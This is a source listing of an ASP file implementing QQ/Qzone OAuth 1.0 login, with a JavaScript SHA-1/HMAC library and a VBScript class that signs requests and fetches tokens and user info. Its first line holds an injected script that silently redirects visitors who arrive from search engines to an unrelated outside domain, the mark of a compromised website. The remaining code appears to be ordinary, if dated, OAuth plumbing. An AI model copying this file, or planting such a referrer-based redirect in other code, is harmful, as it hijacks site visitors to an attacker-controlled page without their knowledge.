d:\wwwroot\wuchunhua\liaotianim\qqconnect\qqconnect.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><script language="javascript" type="text/javascript" runat="server">
002: var hcbus_b64pad  = "=";
003: var hcbus_chrsz   = 8;
004:
005: function hcbus_sha1_ft(t, b, c, d)
006: {
007:   if(t < 20) return (b & c) | ((~b) & d);
008:   if(t < 40) return b ^ c ^ d;
009:   if(t < 60) return (b & c) | (b & d) | (c & d);
010:   return b ^ c ^ d;
011: }
012:
013: function hcbus_sha1_kt(t)
014: {
015:   return (t < 20) ?  1518500249 : (t < 40) ?  1859775393 :
016:          (t < 60) ? -1894007588 : -899497514;
017: }
018:
019: function hcbus_rol(num, cnt)
020: {
021:   return (num << cnt) | (num >>> (32 - cnt));
022: }
023:
024: function hcbus_safe_add(x, y)
025: {
026:   var lsw = (x & 0xFFFF) + (y & 0xFFFF);
027:   var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
028:   return (msw << 16) | (lsw & 0xFFFF);
029: }
030:
031: function hcbus_core_sha1(x, len)
032: {
033:   x[len >> 5] |= 0x80 << (24 - len % 32);
034:   x[((len + 64 >> 9) << 4) + 15] = len;
035:
036:   var w = Array(80);
037:   var a =  1732584193;
038:   var b = -271733879;
039:   var c = -1732584194;
040:   var d =  271733878;
041:   var e = -1009589776;
042:
043:   for(var i = 0; i < x.length; i += 16)
044:   {
045:     var olda = a;
046:     var oldb = b;
047:     var oldc = c;
048:     var oldd = d;
049:     var olde = e;
050:
051:     for(var j = 0; j < 80; j++)
052:     {
053:       if(j < 16) w[j] = x[i + j];
054:       else w[j] = hcbus_rol(w[j-3] ^ w[j-8] ^ w[j-14] ^ w[j-16], 1);
055:       var t = hcbus_safe_add(hcbus_safe_add(hcbus_rol(a, 5), hcbus_sha1_ft(j, b, c, d)),
056:                        hcbus_safe_add(hcbus_safe_add(e, w[j]), hcbus_sha1_kt(j)));
057:       e = d;
058:       d = c;
059:       c = hcbus_rol(b, 30);
060:       b = a;
061:       a = t;
062:     }
063:
064:     a = hcbus_safe_add(a, olda);
065:     b = hcbus_safe_add(b, oldb);
066:     c = hcbus_safe_add(c, oldc);
067:     d = hcbus_safe_add(d, oldd);
068:     e = hcbus_safe_add(e, olde);
069:   }
070:   return Array(a, b, c, d, e);
071:
072: }
073:
074: function hcbus_str2binb(str)
075: {
076:   var bin = Array();
077:   var mask = (1 << hcbus_chrsz) - 1;
078:   for(var i = 0; i < str.length * hcbus_chrsz; i += hcbus_chrsz)
079:     bin[i>>5] |= (str.charCodeAt(i / hcbus_chrsz) & mask) << (32 - hcbus_chrsz - i%32);
080:   return bin;
081: }
082:
083: function hcbus_core_hmac_sha1(key, data)
084: {
085:   var bkey = hcbus_str2binb(key);
086:   if(bkey.length > 16) bkey = hcbus_core_sha1(bkey, key.length * hcbus_chrsz);
087:
088:   var ipad = Array(16), opad = Array(16);
089:   for(var i = 0; i < 16; i++)
090:   {
091:     ipad[i] = bkey[i] ^ 0x36363636;
092:     opad[i] = bkey[i] ^ 0x5C5C5C5C;
093:   }
094:
095:   var hash = hcbus_core_sha1(ipad.concat(hcbus_str2binb(data)), 512 + data.length * hcbus_chrsz);
096:   return hcbus_core_sha1(opad.concat(hash), 512 + 160);
097: }
098:
099: function hcbus_binb2b64(binarray)
100: {
101:   var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
102:   var str = "";
103:   for(var i = 0; i < binarray.length * 4; i += 3)
104:   {
105:     var triplet = (((binarray[i   >> 2] >> 8 * (3 -  i   %4)) & 0xFF) << 16)
106:                 | (((binarray[i+1 >> 2] >> 8 * (3 - (i+1)%4)) & 0xFF) << 8 )
107:                 |  ((binarray[i+2 >> 2] >> 8 * (3 - (i+2)%4)) & 0xFF);
108:     for(var j = 0; j < 4; j++)
109:     {
110:       if(i * 8 + j * 6 > binarray.length * 32) str += hcbus_b64pad;
111:       else str += tab.charAt((triplet >> 6*(3-j)) & 0x3F);
112:     }
113:   }
114:   return str;
115: }
116: function hcbus_b64_hmac_sha1(data, key){ return hcbus_binb2b64(hcbus_core_hmac_sha1(key, data));}
117: </script>
118: <%
119: Class QqConnet
120:    '生成数据数
121:    Public Function MakeRandNum()
122:       Randomize
123:       Dim width : width = 6 '随机数长度,默认6位
124:       width = 10 ^ (width - 1)
125:       MakeRandNum = Int((width*10 - width) * Rnd() + width)
126:    End Function
127:   
128:    '获取当前时间戳
129:    Public Function Timestamp()
130:       Timestamp = DateDiff("s", "1970-1-1 00:00:00", Now()) - 3600 * 8
131:    End Function
132:   
133:    'url编码,只替换默认的字符串
134:    Public Function UrlEncode(ByVal urlstr)
135:       urlstr = Replace(urlstr, "+", "%2B")
136:       urlstr = Replace(urlstr, " ", "+")
137:       urlstr = Replace(urlstr, "=", "%3D")
138:       urlstr = Replace(urlstr, "&", "%26")
139:       urlstr = Replace(urlstr, ":", "%3A")
140:       urlstr = Replace(urlstr, "/", "%2F")
141:       UrlEncode = urlstr
142:    End Function
143:   
144:    '生成签名
145:    Public Function MakeSign(method, url, params, secret)
146:       MakeSign = UrlEncode(hcbus_b64_hmac_sha1(method & "&" & UrlEncode(url) & "&" & UrlEncode(params), QQ_OAUTH_CONSUMER_SECRET & "&" & secret))
147:    End Function
148:   
149:   
150:    '请求url,获取请求内容
151:    Public Function RequestUrl(url)
152:       Set XmlObj = Server.CreateObject("Microsoft.XMLHTTP")
153:       XmlObj.open "GET", url, false
154:       XmlObj.send
155:       RequestUrl = XmlObj.responseText
156:       Set XmlObj = nothing
157:    End Function
158:   
159:    '获取临时token,返回一个数组Array(oauth_token, oauth_token_secret),用于生成调用地址
160:    Public Function GetTempToken()
161:       Dim url, params, result
162:       Dim temp
163:       result = Array("", "")
164:       url = "http://openapi.qzone.qq.com/oauth/qzoneoauth_request_token"
165:       params = "oauth_consumer_key=" & QQ_OAUTH_CONSUMER_KEY
166:       params = params & "&oauth_nonce=" & MakeRandNum()
167:       params = params & "&oauth_signature_method=HMAC-SHA1"
168:       params = params & "&oauth_timestamp=" & Timestamp()
169:       params = params & "&oauth_version=1.0"
170:       params = params & "&oauth_signature=" & MakeSign("GET", url, params, "")
171:       url = url & "?" & params
172:       temp = RequestUrl(url)
173:       temp = Split(temp, "&")
174:       result(0) = Split(temp(0), "=")(1)
175:       result(1) = Split(temp(1), "=")(1)
176:       Session("qq_oauth_token_secret") = result(1)
177:       GetTempToken = result
178:    End Function
179:   
180:    '生成登录地址
181:    Public Function CreateLoginUrl()
182:       Dim url, params, token
183:       token = GetTempToken()
184:       url = "http://openapi.qzone.qq.com/oauth/qzoneoauth_authorize"
185:       params = "oauth_consumer_key=" & QQ_OAUTH_CONSUMER_KEY
186:       params = params & "&oauth_token=" & token(0)
187:       params = params & "&oauth_callback=" & UrlEncode(QQ_CALLBACK_URL)
188:       CreateLoginUrl = url & "?" & params
189:    End Function
190:   
191:    '检测是否合法登录,如果合法,则返回用户信息
192:    Public Function CheckLogin()
193:       Dim oauth_token, openid, oauth_signature, oauth_vericode, timestamp
194:       oauth_token = Trim(Request.QueryString("oauth_token"))
195:       openid = Trim(Request.QueryString("openid"))
196:       oauth_signature = Trim(Request.QueryString("oauth_signature"))
197:       oauth_vericode = Trim(Request.QueryString("oauth_vericode"))
198:       timestamp = Trim(Request.QueryString("timestamp"))
199:       If UrlEncode(oauth_signature) = UrlEncode(hcbus_b64_hmac_sha1(openid & timestamp, QQ_OAUTH_CONSUMER_SECRET)) Then
200:          CheckLogin = Array(openid, oauth_token, oauth_vericode)
201:       Else
202:          CheckLogin = False
203:       End If
204:    End Function
205:   
206:    '获取存取token,返回一个数组Array(openid, oauth_token, oauth_token_secret),用于生成调用地址,传入参数为合法登录后的用户信息
207:    Public Function GetAccessToken(token)
208:       Dim url, params, result
209:       Dim temp
210:       result = Array("", "", "")
211:       url = "http://openapi.qzone.qq.com/oauth/qzoneoauth_access_token"
212:       params = "oauth_consumer_key=" & QQ_OAUTH_CONSUMER_KEY
213:       params = params & "&oauth_nonce=" & MakeRandNum()
214:       params = params & "&oauth_signature_method=HMAC-SHA1"
215:       params = params & "&oauth_timestamp=" & Timestamp()
216:       params = params & "&oauth_token=" & token(1)
217:       params = params & "&oauth_vericode=" & token(2)
218:       params = params & "&oauth_version=1.0"
219:       params = params & "&oauth_signature=" & MakeSign("GET", url, params, Session("qq_oauth_token_secret"))
220:       url = url & "?" & params
221:       temp = RequestUrl(url)
222:       temp = Split(temp, "&")
223:       result(0) = Split(temp(3), "=")(1)
224:       result(1) = Split(temp(1), "=")(1)
225:       result(2) = Split(temp(2), "=")(1)
226:       GetAccessToken = result
227:    End Function
228:   
229:    '获取用户信息,得到一个json格式的字符串
230:    Public Function GetUserInfo(token)
231:       Dim url, params, result
232:       url = "http://openapi.qzone.qq.com/user/get_user_info"
233:       params = "oauth_consumer_key=" & QQ_OAUTH_CONSUMER_KEY
234:       params = params & "&oauth_nonce=" & MakeRandNum()
235:       params = params & "&oauth_signature_method=HMAC-SHA1"
236:       params = params & "&oauth_timestamp=" & Timestamp()
237:       params = params & "&oauth_token=" & token(1)
238:       params = params & "&oauth_version=1.0"
239:       params = params & "&openid=" & token(0)
240:       params = params & "&oauth_signature=" & MakeSign("GET", url, params, token(2))
241:       url = url & "?" & params
242:       GetUserInfo = RequestUrl(url)
243:    End Function
244:   
245:    '获取用户名字,从json字符串里截取相关字符
246:    Public Function GetUserName(json)
247:       json = Split(json, """nickname"":""")(1)
248:       GetUserName = Split(json, """")(0)
249:    End Function
250: End Class
251: %
>
252:
253: